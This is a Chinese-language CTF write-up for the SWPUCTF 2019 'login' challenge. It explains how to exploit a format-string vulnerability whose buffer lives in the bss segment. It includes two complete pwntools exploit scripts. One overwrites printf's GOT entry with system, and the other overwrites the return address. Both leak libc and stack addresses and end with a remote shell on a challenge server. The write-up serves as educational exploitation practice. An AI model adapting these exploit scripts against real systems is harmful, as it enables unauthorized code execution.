对于栈上的格式化字符串可以通过直接将对应地址写入栈中,然后利用三链对任意写入地址修改,非栈上也就是不能直接写入,利用格式化字符串一样可以修改,只是要麻烦一点
ELF分析
32位、2.27libc、got表可修改
题目分析
输入name
无限循环,直到输入wllmmllw
,这里存在明显格式化字符串漏洞
这里s1是在bss段上,所以只能利用格式化字符串来把栈上写入got地址
利用ebp作为三链,先将printf_got表写入栈上,再修改printf_got内容为system,然后输入sh就可以get shell了
思路实现
因为要修改栈地址和got表,所以先泄露栈地址和libc地址
#泄露libc
pay = b'%15$p'
io.sendlineafter("Please input your password: ",pay)
io.recvuntil("This is the wrong password: 0x")
libc_start_call_main = int(io.recv(8),16)-241
print("libc_start_call_main-->",hex(libc_start_call_main))
#泄露栈地址
pay = b'%6$p'
io.sendlineafter("Try again!\n",pay)
io.recvuntil("This is the wrong password: ")
stack_adr = int(io.recvuntil(b'\n')[:-1],16)-0x28
然后在栈上写入printf_got地址,因为got表是0x804b开头,和我们所写入的name_adr地址开头一样,所以这里选择将上图存放‘aaaa’的0xcec4和0xced4结尾的栈地址修改为存放got表
printf_got = elf.got['printf']
printf_got_low4 = printf_got & 0xffff
printf_got_hig4 = (printf_got>>16)&0xffff
aim1 = (stack_adr&0xffff)+0x14 #5
aim2 = (stack_adr&0xffff)+0x24 #9
pay = b'%'+str(aim1).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(printf_got_low4).encode("utf-8")+b'c%10$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(aim2).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(printf_got_low4+2).encode("utf-8")+b'c%10$hn'
io.sendlineafter("Try again!\n",pay)
这之后栈:
(截图是多次gdb调试的,所以地址会有略微不同,看偏移位置就可以了)
然后就可以修改printf_got表内容了,注意!这里要一次性修改,不能分两次,因为还要执行printf("This is the wrong password: ");
,所以分次修改会报错
打远程还有应该小细节,我用all-in-one下载的2.27是打不通的,libcsearcher以下结果选1才能打通,不要被_amd64迷惑了
完整EXP1
from pwn import *
from LibcSearcher import *
from time import sleep
context(log_level='debug',os='linux',arch='i386')
pwnfile = './_SWPUCTF_2019_login'
io=process(pwnfile)
io=remote('node4.buuoj.cn',25049)
elf = ELF(pwnfile)
def debug():
gdb.attach(io)
pause()
io.sendlineafter("Please input your name: ",b'aaaa')
#泄漏libc
pay = b'%15$p'
io.sendlineafter("Please input your password: ",pay)
io.recvuntil("This is the wrong password: 0x")
libc_start_call_main = int(io.recv(8),16)-241
print("libc_start_call_main-->",hex(libc_start_call_main))
libc = LibcSearcher('__libc_start_main',libc_start_call_main)
libc_base = libc_start_call_main - libc.dump('__libc_start_main')
print("libc_base-->",hex(libc_base))
sys_adr = libc_base + libc.dump('system')
printf_got = elf.got['printf']
sleep(0.5)
#泄露栈地址
pay = b'%6$p'
io.sendlineafter("Try again!\n",pay)
io.recvuntil("This is the wrong password: ")
stack_adr = int(io.recvuntil(b'\n')[:-1],16)-0x28
print("stack_adr-->",hex(stack_adr))
printf_got_low4 = printf_got & 0xffff
printf_got_hig4 = (printf_got>>16)&0xffff
aim1 = (stack_adr&0xffff)+0x14 #5
aim2 = (stack_adr&0xffff)+0x24 #9
print("printf_got-->",hex(printf_got))
print("printf_got_low4-->",hex(printf_got_low4))
print("printf_got_hig4-->",hex(printf_got_hig4))
print("aim1-->",hex(aim1))
print("aim2-->",hex(aim2))
#栈上写入printf_got及+2
pay = b'%'+str(aim1).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(printf_got_low4).encode("utf-8")+b'c%10$hn'
io.sendlineafter("Try again!\n",pay)
sleep(0.5)
pay = b'%'+str(aim2).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(printf_got_low4+2).encode("utf-8")+b'c%10$hn'
io.sendlineafter("Try again!\n",pay)
#debug()
sleep(0.5)
#一次性修改print_got
sys_low4 = sys_adr & 0xffff
sys_hig4 = (sys_adr>>16) & 0xffff
print("sys_adr-->",hex(sys_adr))
print("sys_low4-->",hex(sys_low4))
print("sys_hig4-->",hex(sys_hig4))
pay = b'%'+str(sys_low4).encode("utf-8")+b'c%5$hn'
pay += b'%'+str(sys_hig4-sys_low4).encode("utf-8")+b'c%9$hn'
print("pay-->",hex(len(pay)))
io.sendlineafter("Try again!\n",pay)
sleep(0.5)
io.sendlineafter("Try again!",b'cat flag')
io.interactive()
另一个思路
因为是32位,所以我们可以控制返回地址函数的参数,即可以修改返回地址为system,把参数修改为/bin/sh。
稍微观察一下栈,发现我们所输入的name刚好处于返回地址的第一个参数上,所以只要修改返回地址为system即可
这里是受这位师傅wp启发: 不想修电脑师傅的博客
注意!
1、返回地址没有用call的话,会把返回地址的下一个位置作为返回地址函数的返回地址
即ebp - system - system的返回地址(用不到,垃圾数据填充) - system的参数1
2、调试exp时,返回地址会是system+1,这里是因为远程堆栈不平衡
EXP2
from pwn import *
from LibcSearcher import *
from time import sleep
context(log_level='debug',os='linux',arch='i386')
pwnfile = './_SWPUCTF_2019_login'
#io=process(pwnfile)
io=remote('node4.buuoj.cn',25063)
elf = ELF(pwnfile)
def debug():
gdb.attach(io)
pause()
io.sendlineafter("Please input your name: ",b'/bin/sh\x00')
#泄漏libc
pay = b'%15$p'
io.sendlineafter("Please input your password: ",pay)
io.recvuntil("This is the wrong password: 0x")
libc_start_call_main = int(io.recv(8),16)-241
libc = LibcSearcher('__libc_start_main',libc_start_call_main)
libc_base = libc_start_call_main - libc.dump('__libc_start_main')
print("libc_base-->",hex(libc_base))
sys_adr = libc_base + libc.dump('system')
#sys_adr = elf.plt['system']
#泄漏栈地址
pay = b'%6$p'
io.sendlineafter("Try again!\n",pay)
io.recvuntil("This is the wrong password: ")
stack_adr = int(io.recvuntil(b'\n')[:-1],16)-0x28
print("stack_adr-->",hex(stack_adr))
#修改返回地址
re_adr = stack_adr + 0x1c
re_adr_low4 = re_adr & 0xffff
#对system切片
sys_adr = str(hex(sys_adr))
print("sys_adr-->",sys_adr)
b = int(sys_adr,16) & 0xff
print("b-->",hex(b))
pay = b'%'+str(re_adr_low4).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
#这里远程用system+1, %0刚好算一个字符
pay = b'%'+str(b).encode("utf-8")+b'c%10$hn'
#pay = b'%10$hn'
io.sendlineafter("Try again!\n",pay)
sys_adr = sys_adr[:-2]
a = int(sys_adr,16) & 0xff
print("sys_adr-->",sys_adr)
print("a-->",hex(a))
pay = b'%'+str(re_adr_low4+1).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(a).encode("utf-8")+b'c%10$hn'
io.sendlineafter("Try again!\n",pay)
sys_adr = sys_adr[:-2]
a = int(sys_adr,16) & 0xff
print("sys_adr-->",sys_adr)
print("a-->",hex(a))
pay = b'%'+str(re_adr_low4+2).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(a).encode("utf-8")+b'c%10$hn'
io.sendlineafter("Try again!\n",pay)
sys_adr = sys_adr[:-2]
a = int(sys_adr,16) & 0xff
print("sys_adr-->",sys_adr)
print("a-->",hex(a))
pay = b'%'+str(re_adr_low4+3).encode("utf-8")+b'c%6$hn'
io.sendlineafter("Try again!\n",pay)
pay = b'%'+str(a).encode("utf-8")+b'c%10$hn'
io.sendlineafter("Try again!\n",pay)
#debug()
pay = b'wllmmllw'
io.sendlineafter("Try again!\n",pay)
io.interactive()